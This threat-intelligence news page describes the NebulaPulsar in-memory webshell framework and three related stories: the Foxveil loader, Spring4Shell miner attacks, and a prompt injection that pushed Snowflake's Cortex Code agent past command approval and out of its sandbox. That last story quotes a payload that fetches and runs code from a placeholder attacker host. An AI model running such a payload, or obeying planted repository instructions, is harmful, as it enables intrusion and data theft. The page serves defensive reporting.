Loading story…
NebulaPulsar, a proof-of-concept in-memory implant framework for web applications, was published with support for Java JSP and Microsoft ASP.NET webshells and later expanded in version 2.0 to include CFML webshells. The framework uses a first-stage JSP or ASPX/ASHX/ASMX loader to decrypt and inject a resident implant into memory, maintain state through HTTP sessions, and handle later payloads over an AES-encrypted channel without repeatedly reinjecting code. Its companion payload, DarkMatter, executes commands in memory and supports both persistent and volatile execution modes.
The updated release adapts the framework to ColdFusion by replacing direct JSP API dependencies with Java reflection, showing that CFML can invoke Java classes such as java.lang.Runtime to execute commands and deploy the loader. Project materials on GitHub describe additional capabilities including file upload, reflective loading of Java .class files, reflective loading of .NET .exe files, and .NET shellcode injection, while the .NET implementation uses Assembly.Load() for in-memory execution and an UNLOAD routine that patches a method entry point with a RET instruction rather than fully unloading the assembly.
Get the actors, campaigns, and ATT&CK mapping behind it.
2 events from the most recent confirmed update back to the earliest known activity.
A follow-up write-up presented NebulaPulsar 2.0, adding ColdFusion Markup Language support and features including file upload, reflective loading for Java .class files, reflective loading for .NET .exe files, and .NET shellcode injection. The post also stated that CFML and JSPX webshells were available on GitHub.
A technical write-up introduced NebulaPulsar as a proof-of-concept encrypted webshell and in-memory implant framework for JSP and ASP.NET applications, along with the DarkMatter in-memory payload component.
Vulnerabilities, threat actors, malware, products, organizations, and breaches Mallory has linked to this story.
Get the adversaries, campaigns, and ATT&CK mapping behind this technique, with detections ready to deploy.
3 references tracked. Mallory keeps watching after this page renders.
iss4cf0ng.github.io
Open sourcegithub.com
Open sourceiss4cf0ng.github.io
Open sourceMap indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.
Other stories Mallory is tracking that overlap on entities, sources, or topic labels.
**Snowflake** fixed a vulnerability in its *Cortex Code* CLI that allowed an **indirect prompt injection** hidden in an untrusted GitHub repository to bypass command-approval controls, escape the tool’s sandbox, and execute attacker-supplied code. PromptArmor reported that a malicious instruction embedded in a repository `README` could cause the agent to run shell commands without the expected human-in-the-loop approval, despite sandbox mode being enabled. The issue affected command validation logic and enabled arbitrary command execution outside the intended isolation boundary, creating a path for malware download and execution. The demonstrated attack used shell process substitution to abuse commands that Cortex treated as safe, including a payload of the form `cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))`. Researchers said the resulting code execution could leverage the victim’s active Snowflake credentials to perform actions such as **data exfiltration** and **table deletion**. Snowflake validated the report and released a fix in *Cortex Code CLI* version **1.0.25**, while external commentary highlighted the broader weakness of agent command allow-lists and argued that AI agents should be treated as capable of performing anything permitted by the underlying process unless constrained by stronger, deterministic sandboxing.
Jun 29, 2026
Cato CTRL reported a previously undocumented malware loader dubbed **Foxveil** that abuses legitimate services—**Cloudflare Pages**, **Netlify**, and short-lived **Discord** attachments—to stage and retrieve next-stage payloads while blending into normal cloud traffic. The campaign has been assessed as active since **August 2025** and uses **Donut-generated shellcode** with **in-memory execution** to reduce on-disk artifacts; it also employs a **string-mutation** routine that rewrites “high-signal” analysis keywords (e.g., `payload`, `inject`, `shellcode`, `beacon`, `http://`, `.exe`) at runtime to complicate static detection and reverse engineering. Two variants were described. **Foxveil v1** retrieves payloads from Cloudflare/Netlify, spawns a process impersonating `svchost.exe`, and injects code using **Early Bird APC injection** (queuing the APC while the target process is suspended), then establishes persistence by registering as a **Windows service**; **Foxveil v2** instead performs **self-injection** and was observed attempting to manipulate **Microsoft Defender** settings, but appears to mistakenly remove (rather than add) an exclusion for the `SysWOW64` path. Both variants drop next-stage payloads into `SysWOW64`, and Cato reported the malicious staging infrastructure to providers—Netlify confirmed takedown of reported URLs (Jan 19, 2026) and Cloudflare restricted access to reported URLs (Jan 20, 2026)—while Discord attachment links observed were no longer active due to their time-limited nature; Cato also noted potential follow-on use of frameworks such as **Cobalt Strike**.
Jun 29, 2026
Attackers began exploiting the Spring Framework remote code execution flaw **Spring4Shell** (`CVE-2022-22965`) to plant JSP web shells on vulnerable Apache Tomcat servers and deliver cryptocurrency miners. Trend Micro reported attempts that wrote a web shell named `zbc0fb.jsp` into the Tomcat web root, then used it to run operating-system-specific payloads on both Windows and Linux systems. The activity followed Spring's disclosure of the RCE issue and its guidance to upgrade to fixed releases, including **Spring Framework 5.3.18** and **5.2.20** or later. On Windows targets, the observed chain used hidden PowerShell execution to fetch `ldr.ps1` in memory, which then downloaded a miner from `194.145.227.21`. The miner was designed to disable the firewall, kill competing miner processes and services bound to common mining ports, launch the payload, and establish persistence through a scheduled task named **BrowserUpdate** and a Windows Run key. The intrusion pattern mirrors earlier enterprise-server exploitation seen in incidents such as **WebLogic RCE leading to XMRig**, underscoring how rapidly newly disclosed Java server flaws are weaponized for opportunistic cryptomining.
Aug 26, 2026